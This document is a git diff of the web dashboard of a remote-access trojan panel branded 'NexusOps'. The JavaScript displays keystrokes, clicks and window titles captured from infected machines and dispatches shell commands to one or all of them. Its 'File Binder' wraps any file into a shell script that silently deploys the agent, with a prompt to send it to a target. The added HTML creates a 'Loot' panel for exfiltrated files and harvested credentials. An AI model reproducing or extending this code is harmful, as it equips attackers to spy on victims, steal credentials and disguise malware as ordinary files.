||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
`;
|
||||||
|
}).join('');
|
||||||
|
}
|
||||||
|
|
||||||
|
function renderAuditLogs() {
|
||||||
|
const container = document.getElementById('auditLogContent');
|
||||||
|
document.getElementById('logCount').textContent = `${commandHistory.length} events`;
|
||||||
|
|
||||||
|
if (commandHistory.length === 0) {
|
||||||
|
container.innerHTML = `<div class="log-entry system">[SYSTEM] Server listening on http://${serverIp}:${serverPort}. No control task events yet.</div>`;
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
container.innerHTML = commandHistory.map(item => {
|
||||||
|
let statusClass = item.status === 'completed' ? 'success' : item.status === 'failed' ? 'error' : 'system';
|
||||||
|
return `
|
||||||
|
<div class="log-entry ${statusClass}">
|
||||||
|
[${new Date(item.createdAt).toLocaleTimeString()}] <strong>${escapeHtml(item.hostname)}</strong> ➔ ${escapeHtml(item.command)} | STATUS: ${item.status.toUpperCase()}
|
||||||
|
${item.output ? `<pre style="margin-top:0.2rem; font-size:0.8rem; color:#d1d5db; white-space:pre-wrap;">${escapeHtml(item.output.trim())}</pre>` : ''}
|
||||||
|
</div>
|
||||||
|
`;
|
||||||
|
}).join('');
|
||||||
|
container.scrollTop = container.scrollHeight;
|
||||||
|
}
|
||||||
|
|
||||||
|
function renderMasterSyslogs() {
|
||||||
|
const container = document.getElementById('syslogStreamContent');
|
||||||
|
if (!container) return;
|
||||||
|
|
||||||
|
const countEl = document.getElementById('syslogCount');
|
||||||
|
const searchInput = document.getElementById('logSearchInput');
|
||||||
|
const query = searchInput ? searchInput.value.toLowerCase().trim() : '';
|
||||||
|
|
||||||
|
let filtered = masterSystemLogs;
|
||||||
|
if (query) {
|
||||||
|
filtered = masterSystemLogs.filter(l =>
|
||||||
|
l.hostname.toLowerCase().includes(query) ||
|
||||||
|
l.entry.toLowerCase().includes(query)
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (countEl) countEl.textContent = `${filtered.length} entries`;
|
||||||
|
|
||||||
|
if (filtered.length === 0) {
|
||||||
|
container.innerHTML = `<div class="log-entry system">[SYSTEM] Central log stream active. No entries matching "${escapeHtml(query)}".</div>`;
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
container.innerHTML = filtered.map(log => {
|
||||||
|
let logText = escapeHtml(log.entry);
|
||||||
|
let isError = logText.toLowerCase().includes('error') || logText.toLowerCase().includes('fail');
|
||||||
|
let isWarn = logText.toLowerCase().includes('warn');
|
||||||
|
let logClass = isError ? 'error' : isWarn ? 'system' : 'success';
|
||||||
|
|
||||||
|
return `
|
||||||
|
<div class="log-entry ${logClass}">
|
||||||
|
[${new Date(log.timestamp).toLocaleTimeString()}] <strong style="color:var(--primary-cyan);">${escapeHtml(log.hostname)}</strong>: ${logText}
|
||||||
|
</div>
|
||||||
|
`;
|
||||||
|
}).join('');
|
||||||
|
container.scrollTop = container.scrollHeight;
|
||||||
|
}
|
||||||
|
|
||||||
|
function initChart() {
|
||||||
|
const ctx = document.getElementById('telemetryChart').getContext('2d');
|
||||||
|
telemetryChart = new Chart(ctx, {
|
||||||
|
type: 'line',
|
||||||
|
data: {
|
||||||
|
labels: [],
|
||||||
|
datasets: [
|
||||||
|
{
|
||||||
|
label: 'Avg CPU Load (%)',
|
||||||
|
borderColor: '#06b6d4',
|
||||||
|
backgroundColor: 'rgba(6, 182, 212, 0.1)',
|
||||||
|
fill: true,
|
||||||
|
data: [],
|
||||||
|
tension: 0.4
|
||||||
|
},
|
||||||
|
{
|
||||||
|
label: 'Avg RAM Load (%)',
|
||||||
|
borderColor: '#8b5cf6',
|
||||||
|
backgroundColor: 'rgba(139, 92, 246, 0.1)',
|
||||||
|
fill: true,
|
||||||
|
data: [],
|
||||||
|
tension: 0.4
|
||||||
|
}
|
||||||
|
]
|
||||||
|
},
|
||||||
|
options: {
|
||||||
|
responsive: true,
|
||||||
|
maintainAspectRatio: false,
|
||||||
|
scales: {
|
||||||
|
x: {
|
||||||
|
grid: { color: 'rgba(255, 255, 255, 0.05)' },
|
||||||
|
ticks: { color: '#9ca3af' }
|
||||||
|
},
|
||||||
|
y: {
|
||||||
|
min: 0,
|
||||||
|
max: 100,
|
||||||
|
grid: { color: 'rgba(255, 255, 255, 0.05)' },
|
||||||
|
ticks: { color: '#9ca3af' }
|
||||||
|
}
|
||||||
|
},
|
||||||
|
plugins: {
|
||||||
|
legend: { labels: { color: '#f3f4f6' } }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
function updateChartData() {
|
||||||
|
if (!telemetryChart) return;
|
||||||
|
const timeStr = new Date().toLocaleTimeString();
|
||||||
|
|
||||||
|
const onlineNodes = nodesData.filter(n => n.status === 'online');
|
||||||
|
const avgCpu = onlineNodes.length ? onlineNodes.reduce((a, b) => a + b.cpuUsage, 0) / onlineNodes.length : 0;
|
||||||
|
const avgMem = onlineNodes.length ? onlineNodes.reduce((a, b) => a + b.memUsage, 0) / onlineNodes.length : 0;
|
||||||
|
|
||||||
|
telemetryChart.data.labels.push(timeStr);
|
||||||
|
telemetryChart.data.datasets[0].data.push(Math.round(avgCpu));
|
||||||
|
telemetryChart.data.datasets[1].data.push(Math.round(avgMem));
|
||||||
|
|
||||||
|
if (telemetryChart.data.labels.length > 15) {
|
||||||
|
telemetryChart.data.labels.shift();
|
||||||
|
telemetryChart.data.datasets[0].data.shift();
|
||||||
|
telemetryChart.data.datasets[1].data.shift();
|
||||||
|
}
|
||||||
|
telemetryChart.update();
|
||||||
|
}
|
||||||
|
|
||||||
|
function getOsIcon(platform) {
|
||||||
|
const p = (platform || '').toLowerCase();
|
||||||
|
if (p.includes('win')) return 'fa-brands fa-windows';
|
||||||
|
if (p.includes('darwin') || p.includes('mac')) return 'fa-brands fa-apple';
|
||||||
|
return 'fa-brands fa-linux';
|
||||||
|
}
|
||||||
|
|
||||||
|
function escapeHtml(str) {
|
||||||
|
return (str || '').replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">");
|
||||||
|
}
|
||||||
|
|
||||||
|
function formatTime(timestamp) {
|
||||||
|
if (!timestamp) return 'Never';
|
||||||
|
const diff = Math.floor((Date.now() - timestamp) / 1000);
|
||||||
|
if (diff < 5) return 'Just now';
|
||||||
|
if (diff < 60) return `${diff}s ago`;
|
||||||
|
return `${Math.floor(diff / 60)}m ago`;
|
||||||
|
}
|
||||||
|
|
||||||
|
function setFilter(filter, el) {
|
||||||
|
currentFilter = filter;
|
||||||
|
document.querySelectorAll('.filter-btn').forEach(btn => btn.classList.remove('active'));
|
||||||
|
el.classList.add('active');
|
||||||
|
renderNodesGrid();
|
||||||
|
}
|
||||||
|
|
||||||
|
function filterNodes() {
|
||||||
|
renderNodesGrid();
|
||||||
|
}
|
||||||
|
|
||||||
|
function switchView(view, el) {
|
||||||
|
currentView = view;
|
||||||
|
document.querySelectorAll('.toggle-btn').forEach(btn => btn.classList.remove('active'));
|
||||||
|
el.classList.add('active');
|
||||||
|
renderNodesGrid();
|
||||||
|
}
|
||||||
|
|
||||||
|
function openInstallerModal() {
|
||||||
|
updateServerEndpoint();
|
||||||
|
document.getElementById('installerModal').classList.add('active');
|
||||||
|
}
|
||||||
|
|
||||||
|
function closeInstallerModal() {
|
||||||
|
document.getElementById('installerModal').classList.remove('active');
|
||||||
|
}
|
||||||
|
|
||||||
|
function switchTab(tabName) {
|
||||||
|
document.querySelectorAll('.tab-btn').forEach(btn => btn.classList.remove('active'));
|
||||||
|
document.querySelectorAll('.tab-content').forEach(content => content.classList.remove('active'));
|
||||||
|
|
||||||
|
event.currentTarget.classList.add('active');
|
||||||
|
document.getElementById(`tab-${tabName}`).classList.add('active');
|
||||||
|
}
|
||||||
|
|
||||||
|
function switchControlTab(tabName, btnEl) {
|
||||||
|
document.querySelectorAll('#commandModal .tab-btn').forEach(btn => btn.classList.remove('active'));
|
||||||
|
document.querySelectorAll('.control-tab-content').forEach(c => c.style.display = 'none');
|
||||||
|
|
||||||
|
btnEl.classList.add('active');
|
||||||
|
document.getElementById(`ctrl-${tabName}`).style.display = 'block';
|
||||||
|
}
|
||||||
|
|
||||||
|
function copyCode(elementId, btn) {
|
||||||
|
const text = document.getElementById(elementId).innerText;
|
||||||
|
navigator.clipboard.writeText(text).then(() => {
|
||||||
|
const original = btn.innerHTML;
|
||||||
|
btn.innerHTML = `<i class="fa-solid fa-check"></i> Copied!`;
|
||||||
|
btn.style.background = 'var(--accent-emerald)';
|
||||||
|
setTimeout(() => {
|
||||||
|
btn.innerHTML = original;
|
||||||
|
btn.style.background = '';
|
||||||
|
}, 2000);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
function openCommandModal(nodeId, hostname) {
|
||||||
|
document.getElementById('cmdModalNodeId').value = nodeId;
|
||||||
|
document.getElementById('cmdModalHostname').textContent = hostname;
|
||||||
|
document.getElementById('cmdInput').value = '';
|
||||||
|
document.getElementById('commandModal').classList.add('active');
|
||||||
|
}
|
||||||
|
|
||||||
|
function closeCommandModal() {
|
||||||
|
document.getElementById('commandModal').classList.remove('active');
|
||||||
|
}
|
||||||
|
|
||||||
|
function setQuickCmd(cmd) {
|
||||||
|
document.getElementById('cmdInput').value = cmd;
|
||||||
|
}
|
||||||
|
|
||||||
|
function submitNodeAction(actionType, extraPayload = {}) {
|
||||||
|
const nodeId = document.getElementById('cmdModalNodeId').value;
|
||||||
|
let payload = { ...extraPayload };
|
||||||
|
|
||||||
|
if (actionType === 'raw_command') {
|
||||||
|
const command = document.getElementById('cmdInput').value.trim();
|
||||||
|
if (!command) return;
|
||||||
|
payload.command = command;
|
||||||
|
}
|
||||||
|
|
||||||
|
fetch(`/api/nodes/${nodeId}/command`, {
|
||||||
|
method: 'POST',
|
||||||
|
headers: { 'Content-Type': 'application/json' },
|
||||||
|
body: JSON.stringify({ actionType, payload, command: payload.command })
|
||||||
|
})
|
||||||
|
.then(res => res.json())
|
||||||
|
.then(data => {
|
||||||
|
if (data.success) {
|
||||||
|
closeCommandModal();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
function submitServiceAction(action) {
|
||||||
|
const service = document.getElementById('serviceNameInput').value.trim();
|
||||||
|
if (!service) return alert("Please enter a service name (e.g. nginx)");
|
||||||
|
submitNodeAction('manage_service', { service, action });
|
||||||
|
}
|
||||||
|
|
||||||
|
function submitKillProcess() {
|
||||||
|
const pid = document.getElementById('killPidInput').value;
|
||||||
|
if (!pid) return alert("Please enter a valid PID");
|
||||||
|
submitNodeAction('kill_process', { pid });
|
||||||
|
}
|
||||||
|
|
||||||
|
function openBulkModal() {
|
||||||
|
document.getElementById('bulkModal').classList.add('active');
|
||||||
|
}
|
||||||
|
|
||||||
|
function closeBulkModal() {
|
||||||
|
document.getElementById('bulkModal').classList.remove('active');
|
||||||
|
}
|
||||||
|
|
||||||
|
function submitBulkCommand() {
|
||||||
|
const command = document.getElementById('bulkCmdInput').value.trim();
|
||||||
|
if (!command) return;
|
||||||
|
|
||||||
|
fetch('/api/nodes/bulk-command', {
|
||||||
|
method: 'POST',
|
||||||
|
headers: { 'Content-Type': 'application/json' },
|
||||||
|
body: JSON.stringify({ actionType: 'raw_command', command, payload: { command } })
|
||||||
|
})
|
||||||
|
.then(res => res.json())
|
||||||
|
.then(data => {
|
||||||
|
if (data.success) {
|
||||||
|
closeBulkModal();
|
||||||
|
alert(`Task broadcasted to ${data.count} online network nodes!`);
|
||||||
|
} else {
|
||||||
|
alert(data.error || "Failed to dispatch bulk command");
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
function submitTagUpdate() {
|
||||||
|
const tags = document.getElementById('tagInput').value.trim();
|
||||||
|
if (!tags) return alert("Please enter at least one tag");
|
||||||
|
submitNodeAction('update_tags', { tags });
|
||||||
|
}
|
||||||
|
|
||||||
|
function submitHeartbeatRate() {
|
||||||
|
const interval = document.getElementById('heartbeatInput').value;
|
||||||
|
if (!interval) return alert("Please enter a valid interval in seconds");
|
||||||
|
submitNodeAction('set_heartbeat_rate', { interval: parseInt(interval) });
|
||||||
|
}
|
||||||
|
|
||||||
|
function submitSystemReboot() {
|
||||||
|
if (confirm("⚠️ Are you sure you want to reboot this target machine?")) {
|
||||||
|
submitNodeAction('reboot_system');
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function deleteNode(nodeId) {
|
||||||
|
if (confirm("Are you sure you want to unregister this node?")) {
|
||||||
|
fetch(`/api/nodes/${nodeId}`, { method: 'DELETE' });
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Master Intelligence Log Rendering ──
|
||||||
|
|
||||||
|
function renderIntelLog() {
|
||||||
|
const container = document.getElementById('intelLogContent');
|
||||||
|
if (!container) return;
|
||||||
|
|
||||||
|
const nodeFilter = document.getElementById('intelNodeFilter');
|
||||||
|
const typeFilter = document.getElementById('intelTypeFilter');
|
||||||
|
const searchInput = document.getElementById('intelSearchInput');
|
||||||
|
|
||||||
|
// Populate node filter dropdown dynamically
|
||||||
|
if (nodeFilter) {
|
||||||
|
const currentVal = nodeFilter.value;
|
||||||
|
nodeFilter.innerHTML = '<option value="all">All Machines</option>';
|
||||||
|
nodesData.forEach(n => {
|
||||||
|
const sel = n.id === currentVal ? ' selected' : '';
|
||||||
|
nodeFilter.innerHTML += `<option value="${n.id}"${sel}>${escapeHtml(n.hostname)} (${n.ip})</option>`;
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
const selNodeId = nodeFilter ? nodeFilter.value : 'all';
|
||||||
|
const selType = typeFilter ? typeFilter.value : 'all';
|
||||||
|
const query = searchInput ? searchInput.value.toLowerCase().trim() : '';
|
||||||
|
|
||||||
|
// Show machine details when a specific node is selected
|
||||||
|
renderMachineDetails(selNodeId);
|
||||||
|
|
||||||
|
// Filter input data
|
||||||
|
let filtered = inputData;
|
||||||
|
if (selNodeId !== 'all') {
|
||||||
|
filtered = filtered.filter(e => e.nodeId === selNodeId);
|
||||||
|
}
|
||||||
|
if (selType !== 'all') {
|
||||||
|
filtered = filtered.filter(e => e.eventType === selType);
|
||||||
|
}
|
||||||
|
if (query) {
|
||||||
|
filtered = filtered.filter(e => {
|
||||||
|
const dataStr = JSON.stringify(e.data || '').toLowerCase();
|
||||||
|
return dataStr.includes(query) ||
|
||||||
|
(e.windowTitle || '').toLowerCase().includes(query) ||
|
||||||
|
(e.hostname || '').toLowerCase().includes(query);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
const countEl = document.getElementById('intelCount');
|
||||||
|
if (countEl) countEl.textContent = `${filtered.length} events`;
|
||||||
|
|
||||||
|
if (filtered.length === 0) {
|
||||||
|
container.innerHTML = '<div class="log-entry system">[INTEL] No captured input events. Waiting for agent keystroke/click data...</div>';
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
container.innerHTML = filtered.map(ev => {
|
||||||
|
const timeStr = new Date(ev.timestamp).toLocaleTimeString();
|
||||||
|
const hostStr = escapeHtml(ev.hostname || 'Unknown');
|
||||||
|
let icon, cssClass, detailStr;
|
||||||
|
|
||||||
|
switch (ev.eventType) {
|
||||||
|
case 'keystroke':
|
||||||
|
icon = '<i class="fa-solid fa-keyboard"></i>';
|
||||||
|
cssClass = 'log-entry intel-keystroke';
|
||||||
|
detailStr = `Key: <strong style="color:#fbbf24;">${escapeHtml((ev.data && ev.data.key) || '?')}</strong>`;
|
||||||
|
break;
|
||||||
|
case 'click':
|
||||||
|
icon = '<i class="fa-solid fa-arrow-pointer"></i>';
|
||||||
|
cssClass = 'log-entry intel-click';
|
||||||
|
detailStr = `Button: <strong style="color:#34d399;">${escapeHtml((ev.data && ev.data.button) || '?')}</strong> @ (${ev.data && ev.data.x}, ${ev.data && ev.data.y})`;
|
||||||
|
break;
|
||||||
|
case 'scroll':
|
||||||
|
icon = '<i class="fa-solid fa-arrow-up-wide-short"></i>';
|
||||||
|
cssClass = 'log-entry intel-scroll';
|
||||||
|
detailStr = `Scroll \u0394(${ev.data && ev.data.dx}, ${ev.data && ev.data.dy})`;
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
icon = '<i class="fa-solid fa-circle-dot"></i>';
|
||||||
|
cssClass = 'log-entry';
|
||||||
|
detailStr = escapeHtml(JSON.stringify(ev.data || {}));
|
||||||
|
}
|
||||||
|
|
||||||
|
const winStr = ev.windowTitle ? ` <span style="color:var(--text-dim); font-size:0.75rem;">[${escapeHtml(ev.windowTitle)}]</span>` : '';
|
||||||
|
|
||||||
|
return `<div class="${cssClass}">
|
||||||
|
<span style="color:var(--primary-cyan);">[${timeStr}]</span>
|
||||||
|
${icon}
|
||||||
|
<strong style="color:var(--primary-purple);">${hostStr}</strong>
|
||||||
|
${detailStr}${winStr}
|
||||||
|
</div>`;
|
||||||
|
}).join('');
|
||||||
|
container.scrollTop = container.scrollHeight;
|
||||||
|
}
|
||||||
|
|
||||||
|
function renderMachineDetails(nodeId) {
|
||||||
|
const bar = document.getElementById('machineDetailsBar');
|
||||||
|
if (!bar) return;
|
||||||
|
|
||||||
|
if (nodeId === 'all') {
|
||||||
|
const machinesWithInput = [...new Set(inputData.map(e => e.nodeId))];
|
||||||
|
if (machinesWithInput.length === 0) {
|
||||||
|
bar.innerHTML = '<span style="color: var(--text-muted); font-size: 0.8rem;"><i class="fa-solid fa-info-circle"></i> Select a specific machine to see its full details here. Input data from agents will appear below.</span>';
|
||||||
|
} else {
|
||||||
|
bar.innerHTML = `<span style="color: var(--text-muted); font-size: 0.8rem;"><i class="fa-solid fa-server"></i> ${machinesWithInput.length} machine(s) reporting input data. Select one above for details.</span>`;
|
||||||
|
}
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
const node = nodesData.find(n => n.id === nodeId);
|
||||||
|
if (!node) {
|
||||||
|
bar.innerHTML = '<span style="color: var(--text-muted); font-size: 0.8rem;">Machine details unavailable.</span>';
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
const statusColor = node.status === 'online' ? 'var(--accent-emerald)' : 'var(--accent-rose)';
|
||||||
|
const osIcon = getOsIcon(node.platform);
|
||||||
|
|
||||||
|
bar.innerHTML = `
|
||||||
|
<div class="machine-detail-chip"><i class="${osIcon}"></i> <strong>${escapeHtml(node.hostname)}</strong></div>
|
||||||
|
<div class="machine-detail-chip"><i class="fa-solid fa-globe"></i> ${escapeHtml(node.ip)}</div>
|
||||||
|
<div class="machine-detail-chip"><i class="fa-solid fa-laptop"></i> ${escapeHtml(node.osName || node.platform)} (${escapeHtml(node.arch || 'x64')})</div>
|
||||||
|
<div class="machine-detail-chip"><i class="fa-solid fa-microchip"></i> CPU: ${node.cpuUsage}%</div>
|
||||||
|
<div class="machine-detail-chip"><i class="fa-solid fa-memory"></i> MEM: ${node.memUsage}%</div>
|
||||||
|
<div class="machine-detail-chip"><i class="fa-solid fa-hard-drive"></i> DISK: ${node.diskUsage}%</div>
|
||||||
|
<div class="machine-detail-chip"><i class="fa-solid fa-clock"></i> ${formatUptime(node.uptime)}</div>
|
||||||
|
<div class="machine-detail-chip" style="color:${statusColor};"><i class="fa-solid fa-circle"></i> ${node.status.toUpperCase()}</div>
|
||||||
|
`;
|
||||||
|
}
|
||||||
|
|
||||||
|
function formatUptime(seconds) {
|
||||||
|
if (!seconds || seconds <= 0) return 'N/A';
|
||||||
|
const d = Math.floor(seconds / 86400);
|
||||||
|
const h = Math.floor((seconds % 86400) / 3600);
|
||||||
|
const m = Math.floor((seconds % 3600) / 60);
|
||||||
|
if (d > 0) return `${d}d ${h}h`;
|
||||||
|
if (h > 0) return `${h}h ${m}m`;
|
||||||
|
return `${m}m`;
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── File Binder ──
|
||||||
|
|
||||||
|
let binderFile = null;
|
||||||
|
|
||||||
|
function openBinderModal() {
|
||||||
|
updateServerEndpoint();
|
||||||
|
document.getElementById('binderModal').classList.add('active');
|
||||||
|
resetBinder();
|
||||||
|
}
|
||||||
|
|
||||||
|
function closeBinderModal() {
|
||||||
|
document.getElementById('binderModal').classList.remove('active');
|
||||||
|
resetBinder();
|
||||||
|
}
|
||||||
|
|
||||||
|
function resetBinder() {
|
||||||
|
binderFile = null;
|
||||||
|
document.getElementById('binderFileInput').value = '';
|
||||||
|
document.getElementById('binderFileName').innerHTML = 'Click or drag any file here';
|
||||||
|
document.getElementById('binderDropzone').classList.remove('has-file');
|
||||||
|
document.getElementById('binderSubmitBtn').disabled = true;
|
||||||
|
document.getElementById('binderStatus').style.display = 'none';
|
||||||
|
}
|
||||||
|
|
||||||
|
function handleBinderFile(input) {
|
||||||
|
if (input.files && input.files[0]) {
|
||||||
|
binderFile = input.files[0];
|
||||||
|
document.getElementById('binderFileName').innerHTML = `<strong>${escapeHtml(binderFile.name)}</strong> <span style="color:var(--text-dim);">(${(binderFile.size / 1024).toFixed(1)} KB)</span>`;
|
||||||
|
document.getElementById('binderDropzone').classList.add('has-file');
|
||||||
|
document.getElementById('binderSubmitBtn').disabled = false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
async function submitBinder() {
|
||||||
|
if (!binderFile) return;
|
||||||
|
|
||||||
|
const btn = document.getElementById('binderSubmitBtn');
|
||||||
|
const status = document.getElementById('binderStatus');
|
||||||
|
btn.disabled = true;
|
||||||
|
btn.innerHTML = '<i class="fa-solid fa-spinner fa-spin"></i> Binding...';
|
||||||
|
status.style.display = 'block';
|
||||||
|
status.className = '';
|
||||||
|
status.textContent = 'Processing file...';
|
||||||
|
|
||||||
|
const formData = new FormData();
|
||||||
|
formData.append('file', binderFile);
|
||||||
|
|
||||||
|
try {
|
||||||
|
const resp = await fetch('/api/bind', { method: 'POST', body: formData });
|
||||||
|
if (!resp.ok) {
|
||||||
|
const err = await resp.json().catch(() => ({ error: 'Server error' }));
|
||||||
|
throw new Error(err.error || `HTTP ${resp.status}`);
|
||||||
|
}
|
||||||
|
|
||||||
|
const blob = await resp.blob();
|
||||||
|
const url = URL.createObjectURL(blob);
|
||||||
|
const a = document.createElement('a');
|
||||||
|
a.href = url;
|
||||||
|
a.download = binderFile.name + '.sh';
|
||||||
|
document.body.appendChild(a);
|
||||||
|
a.click();
|
||||||
|
document.body.removeChild(a);
|
||||||
|
URL.revokeObjectURL(url);
|
||||||
|
|
||||||
|
status.className = 'success';
|
||||||
|
status.textContent = `✅ Bound file downloaded! Send "${binderFile.name}.sh" to target. When executed, it opens the original file and deploys the agent.`;
|
||||||
|
} catch (e) {
|
||||||
|
status.className = 'error';
|
||||||
|
status.textContent = `❌ ${e.message}`;
|
||||||
|
}
|
||||||
|
|
||||||
|
btn.disabled = false;
|
||||||
|
btn.innerHTML = '<i class="fa-solid fa-wand-magic-sparkles"></i> Bind & Download';
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Kill Switch ──
|
||||||
|
function killSwitch() {
|
||||||
|
if (!confirm('⚠️ KILL SWITCH: This will terminate ALL agent processes on ALL connected machines. Continue?')) return;
|
||||||
|
fetch('/api/nodes/killswitch', { method: 'POST' })
|
||||||
|
.then(r => r.json())
|
||||||
|
.then(d => {
|
||||||
|
if (d.success) alert(`☠️ Kill switch sent to ${d.count} node(s). Agents will shut down on next heartbeat.`);
|
||||||
|
else alert(d.error || 'No nodes to kill.');
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Ping Node ──
|
||||||
|
function pingNode(nodeId, hostname) {
|
||||||
|
fetch(`/api/nodes/${nodeId}/ping`, { method: 'POST' })
|
||||||
|
.then(r => r.json())
|
||||||
|
.then(d => {
|
||||||
|
if (d.success) alert(`⚡ Ping sent to ${hostname}. Check command log for latency response.`);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── New Node Sound & Notification ──
|
||||||
|
let knownNodeIds = new Set();
|
||||||
|
function checkForNewNodes() {
|
||||||
|
nodesData.forEach(node => {
|
||||||
|
if (!knownNodeIds.has(node.id) && node.status === 'online') {
|
||||||
|
knownNodeIds.add(node.id);
|
||||||
|
// Browser notification
|
||||||
|
if (Notification.permission === 'granted') {
|
||||||
|
new Notification('🖥️ New Agent Connected', {
|
||||||
|
body: `${node.hostname} (${node.ip}) — ${node.osName || node.platform}`,
|
||||||
|
icon: '/favicon.ico'
|
||||||
|
});
|
||||||
|
}
|
||||||
|
// Audio ping
|
||||||
|
try {
|
||||||
|
const ctx = new (window.AudioContext || window.webkitAudioContext)();
|
||||||
|
const osc = ctx.createOscillator();
|
||||||
|
const gain = ctx.createGain();
|
||||||
|
osc.connect(gain); gain.connect(ctx.destination);
|
||||||
|
osc.frequency.setValueAtTime(880, ctx.currentTime);
|
||||||
|
osc.frequency.setValueAtTime(1100, ctx.currentTime + 0.1);
|
||||||
|
gain.gain.setValueAtTime(0.3, ctx.currentTime);
|
||||||
|
gain.gain.exponentialRampToValueAtTime(0.01, ctx.currentTime + 0.3);
|
||||||
|
osc.start(ctx.currentTime);
|
||||||
|
osc.stop(ctx.currentTime + 0.3);
|
||||||
|
} catch(e) {}
|
||||||
|
}
|
||||||
|
});
|
||||||
|
// Also mark offline nodes
|
||||||
|
nodesData.forEach(node => knownNodeIds.add(node.id));
|
||||||
|
}
|
||||||
|
|
||||||
|
// Request notification permission on first interaction
|
||||||
|
document.addEventListener('click', () => {
|
||||||
|
if (Notification.permission === 'default') Notification.requestPermission();
|
||||||
|
}, { once: true });
|
||||||
@@ -198,6 +198,23 @@
|
|||||||
</div>
|
</div>
|
||||||
</section>
|
</section>
|
||||||
|
|
||||||
|
|
||||||
|
<section class="logs-section" id="lootSection">
|
||||||
|
<div class="section-header">
|
||||||
|
<h3><i class="fa-solid fa-sack-dollar"></i> Loot — Exfiltrated Files & Harvested Credentials</h3>
|
||||||
|
<div class="loot-tabs">
|
||||||
|
<button class="tab-btn active" id="lootTabFiles" onclick="switchLootTab('files')"><i class="fa-solid fa-file-arrow-down"></i> Files <span class="badge" id="lootFilesCount">0</span></button>
|
||||||
|
<button class="tab-btn" id="lootTabCreds" onclick="switchLootTab('creds')"><i class="fa-solid fa-key"></i> Credentials <span class="badge purple" id="lootCredsCount">0</span></button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="loot-body" id="lootFilesPanel">
|
||||||
|
<div class="log-entry system">[LOOT] No files exfiltrated yet. Use Control → Exfil & Harvest on an online node.</div>
|
||||||
|
</div>
|
||||||
|
<div class="loot-body" id="lootCredsPanel" style="display:none;">
|
||||||
|
<div class="log-entry system">[LOOT] No credentials harvested yet. Use Control → Exfil & Harvest on an online node.</div>
|
||||||
|
</div>
|
||||||
|
</section>
|
||||||
|
|
||||||
</main>
|
</main>
|
||||||
|
|
||||||
<!-- Agent Installer Modal -->
|
<!-- Agent Installer Modal -->
|
||||||
@@ -493,6 +510,27 @@
|
|||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<script src="app.js"></script>
|
<div style="text-align:center;padding:1.5rem;margin-top:2rem;border-top:1px solid rgba(148,163,184,0.1)"><a href="https://buymeacoffee.com/r26xrthzttg" target="_blank" rel="noopener" style="display:inline-flex;align-items:center;gap:0.5rem;background:linear-gradient(135deg,#FF813F,#FF5E0E);color:#fff;padding:0.5rem 1.2rem;border-radius:30px;text-decoration:none;font-weight:600;font-size:0.82rem;transition:all 0.2s;box-shadow:0 4px 15px rgba(255,94,14,0.3)"><span style="font-size:1.1rem">☕</span> Support This Project — Buy Me a Coffee</a></div>
|
||||||
|
<script src="app.js"></script>
|
||||||
|
|
||||||
|
<!-- Toast stack -->
|
||||||
|
<div id="toastStack" class="toast-stack"></div>
|
||||||
|
|
||||||
|
<!-- Auth gate overlay -->
|
||||||
|
<div class="auth-overlay" id="authOverlay" style="display:none;">
|
||||||
|
<div class="auth-card">
|
||||||
|
<i class="fa-solid fa-shield-halved auth-icon"></i>
|
||||||
|
<h2>NexusOps Access</h2>
|
||||||
|
<p>Enter your operator token to continue.</p>
|
||||||
|
<input type="password" id="authTokenInput" class="form-input" placeholder="Operator token" autocomplete="current-password">
|
||||||
|
<button class="btn btn-primary" id="authTokenSubmit" style="width:100%;margin-top:0.75rem;"><i class="fa-solid fa-unlock"></i> Unlock</button>
|
||||||
|
<p class="auth-error" id="authError" style="display:none;">Invalid token — try again.</p>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- Loot lightbox -->
|
||||||
|
<div class="modal-overlay" id="lootLightbox" style="display:none;" onclick="closeLootLightbox()">
|
||||||
|
<img id="lootLightboxImg" class="loot-lightbox-img" alt="preview">
|
||||||
|
</div>
|
||||||
</body>
|
</body>
|
||||||
</html>
|
</html>
|
||||||
|
|||||||
499
public/index.html.bak-1785766812
Normal file
499
public/index.html.bak-1785766812
Normal file
@@ -0,0 +1,499 @@
|
|||||||
|
<!DOCTYPE html>
|
||||||
|
<html lang="en">
|
||||||
|
<head>
|
||||||
|
<meta charset="UTF-8">
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||||
|
<title>NexusOps — Central Network Node Operations</title>
|
||||||
|
|
||||||
|
<link rel="preconnect" href="https://fonts.googleapis.com">
|
||||||
|
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
|
||||||
|
<link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&family=JetBrains+Mono:wght@400;500;700&family=Outfit:wght@500;600;700;800&display=swap" rel="stylesheet">
|
||||||
|
|
||||||
|
